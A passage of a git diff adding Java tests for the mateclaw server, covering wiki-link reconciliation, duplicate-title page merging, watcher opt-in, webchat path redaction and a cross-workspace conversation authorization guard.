"a target matching no slug and no title must be broken"); + } + + @Test + void mixedContentReportsOnlyTheGenuineBreak() { + // Reproduces the issue scenario across several markdown shapes: only the + // hallucinated target is broken; the four title-form links resolve. + String content = String.join("\n", + "# 标题 [[能量代谢]]", + "段落:[[光合作用]] 与 [[guanghe-zuoyong]] 指向同一页。", + "- 列表:[[线粒体|别名]]", + "> 引用:[[叶绿体]]", + "悬挂:[[未知页面ABC]]"); + WikiLinkService.LinkAnalysis a = svc.analyze(content, svc.resolvableTargetKeys(cjkKb())); + assertEquals(List.of("未知页面abc"), a.brokenLinks(), + "only the hallucinated target is broken, got: " + a.brokenLinks()); + } + + @Test + void linksInsideCodeAreNeitherOutgoingNorBroken() { + String content = String.join("\n", + "行内 `[[光合作用]]` 不计入。", + "```", + "围栏 [[不存在XYZ]] 不计入", + "```"); + WikiLinkService.LinkAnalysis a = svc.analyze(content, svc.resolvableTargetKeys(cjkKb())); + assertTrue(a.outgoingLinks().isEmpty(), "code-block links must be ignored, got: " + a.outgoingLinks()); + assertTrue(a.brokenLinks().isEmpty(), "code-block links must not be broken, got: " + a.brokenLinks()); + } + + @Test + void emptyKbMakesEveryLinkBroken() { + String content = "[[anything]]"; + WikiLinkService.LinkAnalysis a = svc.analyze(content, svc.resolvableTargetKeys(List.of())); + assertEquals(List.of("anything"), a.brokenLinks()); + } + + @Test + void computeBrokenLinksMatchesAgainstTitleKeys() { + Set keys = svc.resolvableTargetKeys(cjkKb()); + // direct unit on the predicate: "光合作用" is a title key → resolvable + assertFalse(svc.computeBrokenLinks(Set.of("光合作用"), keys).contains("光合作用")); + assertTrue(svc.computeBrokenLinks(Set.of("missing"), keys).contains("missing")); + } + + // ── reconcileLinks: post-ingestion redirect / demote of dangling links ── + + /** Reconciler mirroring the production rule: keep resolvable, redirect via + * alias to a covering page, else demote to plain text. */ + private WikiLinkService.LinkReconciler reconciler(Set resolvable, + java.util.Map aliasToSlug) { + return (target, alias) -> { + String key = target.trim().toLowerCase(); + if (resolvable.contains(key)) return null; + String display = (alias != null && !alias.isBlank()) ? alias : target; + String cover = aliasToSlug.get(key); + if (cover != null) return "[[" + cover + "|" + display + "]]"; + return display; + }; + } + + @Test + void reconcileKeepsResolvableLinks() { + Set resolvable = Set.of("光合作用", "guanghe-zuoyong"); + String in = "见 [[光合作用]] 与 [[guanghe-zuoyong]]。"; + String out = svc.reconcileLinks(in, reconciler(resolvable, java.util.Map.of())); + assertEquals(in, out, "resolvable links must be left untouched"); + } + + @Test + void reconcileRedirectsAliasToCoveringPage() { + Set resolvable = Set.of("细胞器术语辨析"); + var aliasMap = java.util.Map.of("叶绿体", "细胞器术语辨析"); + String out = svc.reconcileLinks("叶绿体见 [[叶绿体]]。", reconciler(resolvable, aliasMap)); + assertEquals("叶绿体见 [[细胞器术语辨析|叶绿体]]。", out, + "an alias-covered link must redirect to the covering page, keeping a readable label"); + } + + @Test + void reconcileDemotesUncoveredDanglingToPlainText() { + Set resolvable = Set.of("细胞器术语辨析"); + String out = svc.reconcileLinks("讲到 [[不存在的概念]] 和 [[未知|别名显示]]。", + reconciler(resolvable, java.util.Map.of())); + assertEquals("讲到 不存在的概念 和 别名显示。", out, + "uncovered links demote to plain text, honouring the alias display when present"); + } + + @Test + void reconcileLeavesCodeBlocksUntouched() { + String in = "正文 [[不存在]] 降级。\n\n```\n代码里的 [[不存在]] 保留\n```\n行内 `[[不存在]]` 保留。"; + String out = svc.reconcileLinks(in, reconciler(Set.of(), java.util.Map.of())); + assertTrue(out.startsWith("正文 不存在 降级。"), "narrative link demoted, got: " + out); + assertTrue(out.contains("代码里的 [[不存在]] 保留"), "fenced code must be preserved"); + assertTrue(out.contains("`[[不存在]]`"), "inline code must be preserved"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiMergeDuplicateTitlesE2ETest.java b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiMergeDuplicateTitlesE2ETest.java new file mode 100644 index 00000000..8e62fe8c --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiMergeDuplicateTitlesE2ETest.java @@ -0,0 +1,150 @@ +package vip.mate.wiki.service; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.annotation.DirtiesContext; +import vip.mate.wiki.model.WikiKnowledgeBaseEntity; +import vip.mate.wiki.model.WikiPageEntity; +import vip.mate.wiki.repository.WikiKnowledgeBaseMapper; +import vip.mate.wiki.repository.WikiPageMapper; + +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * E2E coverage for {@link WikiPageService#mergeDuplicateTitles} — the one-time + * maintenance op that collapses pages sharing a canonical title (the duplicate + * rows produced before title-based dedup existed, when one concept landed under + * several LLM-minted slugs). + * + *

    Boots the full Spring + H2 + Flyway context so MyBatis-Plus's lambda cache + * and the real cascade/link machinery are exercised end to end. + */ +@SpringBootTest( + webEnvironment = SpringBootTest.WebEnvironment.NONE, + properties = { + "spring.flyway.enabled=true", + "spring.flyway.locations=classpath:db/migration/h2", + "mateclaw.feature-flag.refresh-ms=999999" + } +) +@DirtiesContext(classMode = DirtiesContext.ClassMode.AFTER_CLASS) +class WikiMergeDuplicateTitlesE2ETest { + + @Autowired private WikiPageService pageService; + @Autowired private WikiKnowledgeBaseService kbService; + @Autowired private WikiPageMapper pageMapper; + @Autowired private WikiKnowledgeBaseMapper kbMapper; + + private Long kbId; + + @AfterEach + void cleanup() { + if (kbId != null) { + pageMapper.delete(new LambdaQueryWrapper().eq(WikiPageEntity::getKbId, kbId)); + kbMapper.deleteById(kbId); + pageService.evictSummaryCache(kbId); + kbId = null; + } + } + + private void seedKb() { + WikiKnowledgeBaseEntity kb = kbService.create("merge-dup-" + System.nanoTime(), "merge test", null); + kbId = kb.getId(); + pageMapper.delete(new LambdaQueryWrapper().eq(WikiPageEntity::getKbId, kbId)); + pageService.evictSummaryCache(kbId); + } + + /** + * Three pages share the canonical title "医宗金鉴" under different slugs (the + * exact failure mode from the bug report), plus a referrer linking to a loser. + */ + private void seedDuplicates() { + // Winner: longest content. + pageService.createPage(kbId, "yizong-jinjian", "医宗金鉴", + "## 医宗金鉴\n\nThis is the most complete body with the richest detail aaa bbb ccc ddd.", + "complete summary", "[]"); + // Losers: same canonical title, shorter content, different slugs. + pageService.createPage(kbId, "yizong-jinjian-quanshu", "医宗金鉴", + "Body B shorter.", "b summary", "[]"); + // Trailing-space title still canonicalizes equal. + pageService.createPage(kbId, "yzjj", "医宗金鉴 ", + "Body C tiny.", "c summary", "[]"); + // A referrer pointing at one of the losers. + pageService.createPage(kbId, "ref", "Ref", + "See [[yizong-jinjian-quanshu]] for the canonical text.", + "referrer summary", "[]"); + } + + @Test + @DisplayName("dry run reports duplicates without mutating anything") + void dryRunReportsButDoesNotMutate() { + seedKb(); + seedDuplicates(); + + Map report = pageService.mergeDuplicateTitles(kbId, true, true); + + assertThat(report.get("dryRun")).isEqualTo(true); + assertThat(report.get("duplicateGroups")).isEqualTo(1); + assertThat(report.get("pagesWouldRemove")).isEqualTo(2); + assertThat(report.get("pagesRemoved")).isEqualTo(0); + + // Nothing deleted: all four pages still present. + assertThat(pageService.listByKbIdWithContent(kbId)).hasSize(4); + assertThat(pageService.getBySlug(kbId, "yizong-jinjian-quanshu")).isNotNull(); + assertThat(pageService.getBySlug(kbId, "yzjj")).isNotNull(); + } + + @Test + @DisplayName("apply with concatenate merges losers into winner, redirects refs, deletes losers") + void applyConcatenateCollapsesGroup() { + seedKb(); + seedDuplicates(); + + Map report = pageService.mergeDuplicateTitles(kbId, false, true); + assertThat(report.get("duplicateGroups")).isEqualTo(1); + assertThat(report.get("pagesRemoved")).isEqualTo(2); + + // Only the winner + the referrer survive. + assertThat(pageService.listByKbIdWithContent(kbId)).hasSize(2); + assertThat(pageService.getBySlug(kbId, "yizong-jinjian-quanshu")).isNull(); + assertThat(pageService.getBySlug(kbId, "yzjj")).isNull(); + + // Winner keeps its body and gains the losers' bodies (no content lost). + WikiPageEntity winner = pageService.getBySlug(kbId, "yizong-jinjian"); + assertThat(winner).isNotNull(); + assertThat(winner.getContent()) + .contains("most complete body") + .contains("Body B shorter.") + .contains("Body C tiny."); + assertThat(winner.getVersion()).isGreaterThan(1); + + // Referrer's [[loserSlug]] is redirected to the winner, not demoted. + WikiPageEntity ref = pageService.getBySlug(kbId, "ref"); + assertThat(ref.getContent()) + .doesNotContain("[[yizong-jinjian-quanshu]]") + .contains("[[yizong-jinjian]]"); + } + + @Test + @DisplayName("apply without concatenate keeps only the winner's body") + void applyWithoutConcatenateDiscardsLoserBodies() { + seedKb(); + seedDuplicates(); + + pageService.mergeDuplicateTitles(kbId, false, false); + + assertThat(pageService.listByKbIdWithContent(kbId)).hasSize(2); + WikiPageEntity winner = pageService.getBySlug(kbId, "yizong-jinjian"); + assertThat(winner).isNotNull(); + assertThat(winner.getContent()) + .contains("most complete body") + .doesNotContain("Body B shorter.") + .doesNotContain("Body C tiny."); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiPageServiceTest.java b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiPageServiceTest.java index 4288363f..88e70e77 100644 --- a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiPageServiceTest.java +++ b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiPageServiceTest.java @@ -1,12 +1,19 @@ package vip.mate.wiki.service; +import com.baomidou.mybatisplus.core.MybatisConfiguration; +import com.baomidou.mybatisplus.core.metadata.TableInfoHelper; import com.fasterxml.jackson.databind.ObjectMapper; +import org.apache.ibatis.builder.MapperBuilderAssistant; import org.junit.jupiter.api.Test; import vip.mate.wiki.model.WikiPageEntity; import vip.mate.wiki.repository.WikiPageMapper; import java.time.LocalDateTime; +import java.util.List; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; import static org.junit.jupiter.api.Assertions.assertTrue; import static org.mockito.ArgumentMatchers.any; import static org.mockito.Mockito.mock; @@ -15,6 +22,15 @@ import static org.mockito.Mockito.when; class WikiPageServiceTest { + static { + // LambdaQueryWrapper resolves column metadata from MyBatis-Plus's TableInfo + // cache, which Spring normally populates at startup. In a plain unit test we + // seed it once so getBySlug / listSummaries can build their lambda queries. + TableInfoHelper.initTableInfo( + new MapperBuilderAssistant(new MybatisConfiguration(), ""), + WikiPageEntity.class); + } + @Test void manualUpdateRefreshesUpdateTimeBeforePersisting() { WikiPageMapper mapper = mock(WikiPageMapper.class); @@ -39,4 +55,61 @@ class WikiPageServiceTest { assertTrue(page.getUpdateTime().isAfter(oldUpdateTime)); verify(mapper).updateById(page); } + + @Test + void canonicalTitleFoldsCaseAndSeparators() { + // Case + ASCII separators fold away so spelling variants collapse to one key. + assertEquals("erweibadusan", WikiPageService.canonicalTitle("Erwei-Badu_San")); + assertEquals("erweibadusan", WikiPageService.canonicalTitle("er wei badu san")); + // Chinese title with surrounding/full-width whitespace and an inserted hyphen. + assertEquals("二味拔毒散", WikiPageService.canonicalTitle(" 二味-拔毒散 ")); + assertEquals(WikiPageService.canonicalTitle("二味拔毒散"), + WikiPageService.canonicalTitle("二味拔毒散 ")); + // Null / blank degrade to empty so callers can short-circuit. + assertEquals("", WikiPageService.canonicalTitle(null)); + assertEquals("", WikiPageService.canonicalTitle(" ")); + } + + @Test + void findByCanonicalTitleMatchesAcrossDifferentSlugs() { + // Same concept already stored under an LLM-chosen slug; a later run arrives + // with the same title but would have minted a different slug. Title match + // must find the existing row regardless of the slug spelling. + WikiPageMapper mapper = mock(WikiPageMapper.class); + WikiPageEntity summary = new WikiPageEntity(); + summary.setKbId(7L); + summary.setSlug("erwei-badu-san"); + summary.setTitle("二味拔毒散"); + WikiPageEntity full = new WikiPageEntity(); + full.setId(42L); + full.setKbId(7L); + full.setSlug("erwei-badu-san"); + full.setTitle("二味拔毒散"); + // listSummaries() -> selectList ; getBySlug() -> selectOne + when(mapper.selectList(any())).thenReturn(List.of(summary)); + when(mapper.selectOne(any())).thenReturn(full); + + ObjectMapper om = new ObjectMapper(); + WikiPageService service = new WikiPageService(mapper, om, new WikiLinkService(om)); + + WikiPageEntity hit = service.findByCanonicalTitle(7L, "二味拔毒散"); + assertNotNull(hit); + assertEquals(42L, hit.getId()); + assertEquals("erwei-badu-san", hit.getSlug()); + } + + @Test + void findByCanonicalTitleReturnsNullWhenNoConceptMatches() { + WikiPageMapper mapper = mock(WikiPageMapper.class); + WikiPageEntity summary = new WikiPageEntity(); + summary.setKbId(7L); + summary.setSlug("shennong-bencao"); + summary.setTitle("神农本草经"); + when(mapper.selectList(any())).thenReturn(List.of(summary)); + + ObjectMapper om = new ObjectMapper(); + WikiPageService service = new WikiPageService(mapper, om, new WikiLinkService(om)); + + assertNull(service.findByCanonicalTitle(7L, "二味拔毒散")); + } } diff --git a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiProcessingFallbackTest.java b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiProcessingFallbackTest.java index 0dce5681..16518cbb 100644 --- a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiProcessingFallbackTest.java +++ b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiProcessingFallbackTest.java @@ -68,7 +68,8 @@ class WikiProcessingFallbackTest { om, mock(WikiProgressBus.class), mock(WikiCitationService.class), - mock(ApplicationEventPublisher.class)); + mock(ApplicationEventPublisher.class), + mock(WikiEntityExtractionService.class)); // Inject the optional fields via reflection — Spring would do this // post-construction in production, but the test instantiates directly. diff --git a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiProcessingServiceLazyTest.java b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiProcessingServiceLazyTest.java index f49591a0..075407fc 100644 --- a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiProcessingServiceLazyTest.java +++ b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiProcessingServiceLazyTest.java @@ -67,7 +67,8 @@ class WikiProcessingServiceLazyTest { new WikiLinkService(om), properties, modelConfigService, agentGraphBuilder, om, progressBus, citationService, - mock(org.springframework.context.ApplicationEventPublisher.class)); + mock(org.springframework.context.ApplicationEventPublisher.class), + mock(WikiEntityExtractionService.class)); } private WikiRawMaterialEntity raw() { diff --git a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiSourceWatcherServiceE2ETest.java b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiSourceWatcherServiceE2ETest.java index d669117b..bf7c99f7 100644 --- a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiSourceWatcherServiceE2ETest.java +++ b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiSourceWatcherServiceE2ETest.java @@ -35,6 +35,8 @@ class WikiSourceWatcherServiceE2ETest { private WikiKnowledgeBaseService kbService; @Autowired private WikiDirectoryScanService scanService; + @Autowired + private WikiRawMaterialService rawMaterialService; private static final java.util.concurrent.atomic.AtomicLong SEQ = new java.util.concurrent.atomic.AtomicLong(System.nanoTime()); @@ -47,6 +49,8 @@ class WikiSourceWatcherServiceE2ETest { WikiKnowledgeBaseEntity kb = kbService.create( "watcher-" + SEQ.incrementAndGet(), "test", null); kbService.updateSourceDirectory(kb.getId(), sourceDir.toString()); + // Auto-sync is per-KB opt-in; enable it so the cycle scans this KB. + kbService.updateWatcherEnabled(kb.getId(), true); // First cycle ingests both new files. int firstAdded = watcherService.runScanCycle(); @@ -109,4 +113,23 @@ class WikiSourceWatcherServiceE2ETest { // Should complete without throwing (count is non-negative). assertTrue(watcherService.runScanCycle() >= 0); } + + @Test + void disabledKb_isNotAutoScanned_untilEnabled(@TempDir Path sourceDir) throws IOException { + Files.writeString(sourceDir.resolve("note.md"), "# Note\n\ncontent"); + WikiKnowledgeBaseEntity kb = kbService.create( + "watcher-off-" + SEQ.incrementAndGet(), "test", null); + kbService.updateSourceDirectory(kb.getId(), sourceDir.toString()); + // watcher_enabled defaults to 0 → the auto cycle must skip this KB. + + watcherService.runScanCycle(); + assertEquals(0, rawMaterialService.listByKbId(kb.getId()).size(), + "a KB with auto-sync disabled must not be auto-scanned"); + + // Once enabled, the same cycle ingests its file. + kbService.updateWatcherEnabled(kb.getId(), true); + watcherService.runScanCycle(); + assertTrue(rawMaterialService.listByKbId(kb.getId()).size() >= 1, + "after enabling auto-sync the KB's file should be ingested"); + } } diff --git a/mateclaw-server/src/test/java/vip/mate/workspace/conversation/ConversationServiceExternalViewTest.java b/mateclaw-server/src/test/java/vip/mate/workspace/conversation/ConversationServiceExternalViewTest.java new file mode 100644 index 00000000..805d1b72 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/workspace/conversation/ConversationServiceExternalViewTest.java @@ -0,0 +1,95 @@ +package vip.mate.workspace.conversation; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.fasterxml.jackson.databind.ObjectMapper; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.InjectMocks; +import org.mockito.Mock; +import org.mockito.Spy; +import org.mockito.junit.jupiter.MockitoExtension; +import vip.mate.agent.repository.AgentMapper; +import vip.mate.workspace.conversation.model.MessageEntity; +import vip.mate.workspace.conversation.repository.ConversationMapper; +import vip.mate.workspace.conversation.repository.MessageMapper; +import vip.mate.workspace.conversation.vo.MessageVO; + +import java.time.LocalDateTime; +import java.util.List; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.when; + +/** + * Pin that the external (webchat-facing) message view never leaks the + * server-side absolute file path — neither in the structured {@code path} field + * nor in the rendered text — while the internal view still carries it for the + * agent's file tools. + */ +@ExtendWith(MockitoExtension.class) +class ConversationServiceExternalViewTest { + + @Mock private ConversationMapper conversationMapper; + @Mock private MessageMapper messageMapper; + @Mock private AgentMapper agentMapper; + @Spy private ObjectMapper objectMapper = new ObjectMapper(); + + @InjectMocks private ConversationService service; + + private static final String SECRET_PATH = "/srv/mateclaw/data/chat-uploads/secret/doc.pdf"; + + private MessageEntity fileMessage() { + MessageEntity m = new MessageEntity(); + m.setId(1L); + m.setConversationId("c1"); + m.setRole("assistant"); + m.setContent("here is your file"); + m.setContentParts("[{\"type\":\"file\",\"fileName\":\"doc.pdf\",\"path\":\"" + + SECRET_PATH + "\"}]"); + m.setStatus("completed"); + m.setCreateTime(LocalDateTime.now()); + return m; + } + + @Test + @DisplayName("external view nulls part.path and omits path from rendered text") + void externalViewStripsPath() { + when(messageMapper.selectList(any(LambdaQueryWrapper.class))) + .thenReturn(List.of(fileMessage())); + + List views = service.listMessageViewsExternal("c1"); + + assertThat(views).hasSize(1); + MessageVO vo = views.get(0); + assertThat(vo.getContentParts().get(0).getPath()).isNull(); + assertThat(vo.getContent()).doesNotContain(SECRET_PATH); + assertThat(vo.getContent()).doesNotContain("路径"); + // filename still surfaced so the visitor can recognize the attachment + assertThat(vo.getContent()).contains("doc.pdf"); + } + + @Test + @DisplayName("internal view keeps the path for the agent's file tools") + void internalViewKeepsPath() { + when(messageMapper.selectList(any(LambdaQueryWrapper.class))) + .thenReturn(List.of(fileMessage())); + + List views = service.listMessageViews("c1"); + + assertThat(views.get(0).getContentParts().get(0).getPath()).isEqualTo(SECRET_PATH); + assertThat(views.get(0).getContent()).contains(SECRET_PATH); + } + + @Test + @DisplayName("toExternalMessageViews strips path on a pre-loaded list (paginated path)") + void toExternalMessageViewsStripsPath() { + // Used by the paginated webchat endpoint, which loads entities itself. + List views = service.toExternalMessageViews(List.of(fileMessage())); + + assertThat(views).hasSize(1); + assertThat(views.get(0).getContentParts().get(0).getPath()).isNull(); + assertThat(views.get(0).getContent()).doesNotContain(SECRET_PATH); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/workspace/conversation/ConversationServiceOwnershipWorkspaceTest.java b/mateclaw-server/src/test/java/vip/mate/workspace/conversation/ConversationServiceOwnershipWorkspaceTest.java new file mode 100644 index 00000000..b1df1669 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/workspace/conversation/ConversationServiceOwnershipWorkspaceTest.java @@ -0,0 +1,250 @@ +package vip.mate.workspace.conversation; + +import com.fasterxml.jackson.databind.ObjectMapper; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.InjectMocks; +import org.mockito.Mock; +import org.mockito.Spy; +import org.mockito.junit.jupiter.MockitoExtension; +import org.springframework.context.ApplicationEventPublisher; +import vip.mate.agent.repository.AgentMapper; +import vip.mate.approval.repository.ToolApprovalMapper; +import vip.mate.auth.model.UserEntity; +import vip.mate.auth.service.AuthService; +import vip.mate.channel.repository.ChannelSessionMapper; +import vip.mate.task.repository.AsyncTaskMapper; +import vip.mate.workspace.conversation.model.ConversationEntity; +import vip.mate.workspace.conversation.repository.ConversationMapper; +import vip.mate.workspace.conversation.repository.MessageMapper; +import vip.mate.workspace.core.service.WorkspaceService; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyLong; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Pin the cross-workspace authorization guard added to + * {@link ConversationService#isConversationOwner(String, String)} in response + * to issue #344. + * + *

    Pre-fix behavior: any logged-in user could reach a system / IM / webchat + * -owned conversation by id, regardless of which workspace the conversation + * lived in. List endpoints filtered by {@code workspaceId}, direct-access + * endpoints did not — an asymmetry that becomes a cross-workspace breach once + * workspaces are untrusted isolation boundaries. + * + *

    Post-fix behavior: shared conversations are visible only to members of + * their own workspace (plus global admins, plus the legacy escape hatches for + * pre-workspace rows and anonymous permitAll reconnects). + * + *

    Pure-Mockito (no Spring context) so the test stays fast and isolated. + * + * @author MateClaw Team + */ +@ExtendWith(MockitoExtension.class) +class ConversationServiceOwnershipWorkspaceTest { + + private static final String SYSTEM_CONV = "cron:daily-report"; + private static final String ALICE_CONV = "alice-uuid-1"; + private static final String WEBCHAT_CONV = "webchat:testkey1:vA"; + private static final long WS_TENANT_A = 10L; + private static final long WS_TENANT_B = 20L; + private static final long ALICE_USER_ID = 1001L; + private static final long BOB_USER_ID = 1002L; + private static final long ADMIN_USER_ID = 1003L; + + @Mock private ConversationMapper conversationMapper; + @Mock private MessageMapper messageMapper; + @Mock private AgentMapper agentMapper; + @Spy private ObjectMapper objectMapper = new ObjectMapper(); + @Mock private ToolApprovalMapper toolApprovalMapper; + @Mock private AsyncTaskMapper asyncTaskMapper; + @Mock private ChannelSessionMapper channelSessionMapper; + @Mock private ApplicationEventPublisher eventPublisher; + @Mock private AuthService authService; + @Mock private WorkspaceService workspaceService; + + @InjectMocks private ConversationService service; + + @BeforeEach + void stubUsers() { + // Lenient stubs — not every test needs both users (admin-only tests + // would trip strict-stubbing otherwise). + org.mockito.Mockito.lenient().when(authService.findByUsername("alice")) + .thenReturn(user(ALICE_USER_ID, "user")); + org.mockito.Mockito.lenient().when(authService.findByUsername("bob")) + .thenReturn(user(BOB_USER_ID, "user")); + } + + // ------------------------------------------------------------------ + // 1. Direct owner — no workspace check needed + // ------------------------------------------------------------------ + + @Test + @DisplayName("direct owner: always allowed, no membership lookup") + void directOwnerShortCircuits() { + when(conversationMapper.selectOne(any())).thenReturn(conv(ALICE_CONV, "alice", WS_TENANT_A)); + + assertThat(service.isConversationOwner(ALICE_CONV, "alice")).isTrue(); + + // Workspace membership is NOT consulted — alice owns it, end of story. + verify(workspaceService, never()).hasPermissionCached(anyLong(), anyLong(), anyString()); + } + + // ------------------------------------------------------------------ + // 2. System conv, same-workspace member → allowed + // ------------------------------------------------------------------ + + @Test + @DisplayName("system conv in requester's workspace: member passes") + void systemConvSameWorkspaceMember() { + when(conversationMapper.selectOne(any())).thenReturn(conv(SYSTEM_CONV, "system", WS_TENANT_A)); + when(workspaceService.hasPermissionCached(WS_TENANT_A, ALICE_USER_ID, "viewer")) + .thenReturn(true); + + assertThat(service.isConversationOwner(SYSTEM_CONV, "alice")).isTrue(); + } + + // ------------------------------------------------------------------ + // 3. System conv, cross-workspace user → DENIED (the #344 fix) + // ------------------------------------------------------------------ + + @Test + @DisplayName("system conv in another workspace: non-member rejected (#344)") + void systemConvCrossWorkspaceRejected() { + when(conversationMapper.selectOne(any())).thenReturn(conv(SYSTEM_CONV, "system", WS_TENANT_A)); + // Bob is not a member of tenant A. + when(workspaceService.hasPermissionCached(WS_TENANT_A, BOB_USER_ID, "viewer")) + .thenReturn(false); + + assertThat(service.isConversationOwner(SYSTEM_CONV, "bob")).isFalse(); + } + + // ------------------------------------------------------------------ + // 4. Global admin bypass + // ------------------------------------------------------------------ + + @Test + @DisplayName("system conv in another workspace: global admin bypasses") + void systemConvAdminBypass() { + when(authService.findByUsername("admin")).thenReturn(user(ADMIN_USER_ID, "admin")); + when(conversationMapper.selectOne(any())).thenReturn(conv(SYSTEM_CONV, "system", WS_TENANT_A)); + + // Admin skips the membership check entirely. + assertThat(service.isConversationOwner(SYSTEM_CONV, "admin")).isTrue(); + verify(workspaceService, never()).hasPermissionCached(anyLong(), anyLong(), anyString()); + } + + // ------------------------------------------------------------------ + // 5. Anonymous / permitAll reconnect — user lookup returns null + // ------------------------------------------------------------------ + + @Test + @DisplayName("system conv + null user record (anonymous reconnect): legacy behavior preserved") + void anonymousReconnectLegacyFallback() { + when(conversationMapper.selectOne(any())).thenReturn(conv(SYSTEM_CONV, "system", WS_TENANT_A)); + when(authService.findByUsername("anonymous")).thenReturn(null); + + // Pre-fix: anonymous could see system convs. Preserve that. + assertThat(service.isConversationOwner(SYSTEM_CONV, "anonymous")).isTrue(); + verify(workspaceService, never()).hasPermissionCached(anyLong(), anyLong(), anyString()); + } + + @Test + @DisplayName("anonymous reconnect to a non-system conv: still rejected") + void anonymousReconnectNonSystemConv() { + when(conversationMapper.selectOne(any())).thenReturn(conv(ALICE_CONV, "alice", WS_TENANT_A)); + when(authService.findByUsername("anonymous")).thenReturn(null); + + assertThat(service.isConversationOwner(ALICE_CONV, "anonymous")).isFalse(); + } + + // ------------------------------------------------------------------ + // 6. Legacy rows without workspace_id — fall back to old logic + // ------------------------------------------------------------------ + + @Test + @DisplayName("conv without workspace_id: legacy system-owner check, no membership lookup") + void legacyConvWithoutWorkspace() { + when(conversationMapper.selectOne(any())).thenReturn(conv(SYSTEM_CONV, "system", null)); + + assertThat(service.isConversationOwner(SYSTEM_CONV, "bob")).isTrue(); + verify(workspaceService, never()).hasPermissionCached(anyLong(), anyLong(), anyString()); + } + + // ------------------------------------------------------------------ + // 7. Webchat convs — already isolated; verify the fix doesn't open them + // ------------------------------------------------------------------ + + @Test + @DisplayName("webchat conv: invisible to a JWT user even when they share the workspace") + void webchatConvInvisibleToJwtUser() { + when(conversationMapper.selectOne(any())).thenReturn(conv(WEBCHAT_CONV, "webchat:vA", WS_TENANT_A)); + when(workspaceService.hasPermissionCached(WS_TENANT_A, ALICE_USER_ID, "viewer")) + .thenReturn(true); + + // Alice is a member of the conv's workspace, but the conv is owned by + // "webchat:vA" — not "system" — so the final OR-clause returns false. + assertThat(service.isConversationOwner(WEBCHAT_CONV, "alice")).isFalse(); + } + + @Test + @DisplayName("webchat conv: global admin can still reach it (consistent with system convs)") + void webchatConvAdminBypass() { + when(authService.findByUsername("admin")).thenReturn(user(ADMIN_USER_ID, "admin")); + when(conversationMapper.selectOne(any())).thenReturn(conv(WEBCHAT_CONV, "webchat:vA", WS_TENANT_A)); + + assertThat(service.isConversationOwner(WEBCHAT_CONV, "admin")).isTrue(); + } + + // ------------------------------------------------------------------ + // 8. Edge cases + // ------------------------------------------------------------------ + + @Test + @DisplayName("conversation not found: false") + void notFound() { + when(conversationMapper.selectOne(any())).thenReturn(null); + + assertThat(service.isConversationOwner("missing", "alice")).isFalse(); + } + + @Test + @DisplayName("system conv + same-workspace member that the workspace service lost track of: rejected") + void systemConvMemberCacheMiss() { + when(conversationMapper.selectOne(any())).thenReturn(conv(SYSTEM_CONV, "system", WS_TENANT_A)); + // Membership cache returns false even though we'd expect this user to + // be a member — defense in depth: when in doubt, deny. + when(workspaceService.hasPermissionCached(eq(WS_TENANT_A), eq(ALICE_USER_ID), eq("viewer"))) + .thenReturn(false); + + assertThat(service.isConversationOwner(SYSTEM_CONV, "alice")).isFalse(); + } + + // ------------------------------------------------------------------ + // helpers + // ------------------------------------------------------------------ + + private static UserEntity user(long id, String role) { + UserEntity u = new UserEntity(); + u.setId(id); + u.setRole(role); + return u; + } + + private static ConversationEntity conv(String conversationId, String username, Long workspaceId) { + ConversationEntity c = new ConversationEntity(); + c.setConversationId(conversationId); + c.setUsername(username); + c.setWorkspaceId(workspaceId); + return c; + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/workspace/conversation/ConversationServiceWebchatVisibilityTest.java b/mateclaw-server/src/test/java/vip/mate/workspace/conversation/ConversationServiceWebchatVisibilityTest.java new file mode 100644 index 00000000..9e698582 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/workspace/conversation/ConversationServiceWebchatVisibilityTest.java @@ -0,0 +1,203 @@ +package vip.mate.workspace.conversation; + +import com.baomidou.mybatisplus.core.MybatisConfiguration; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import 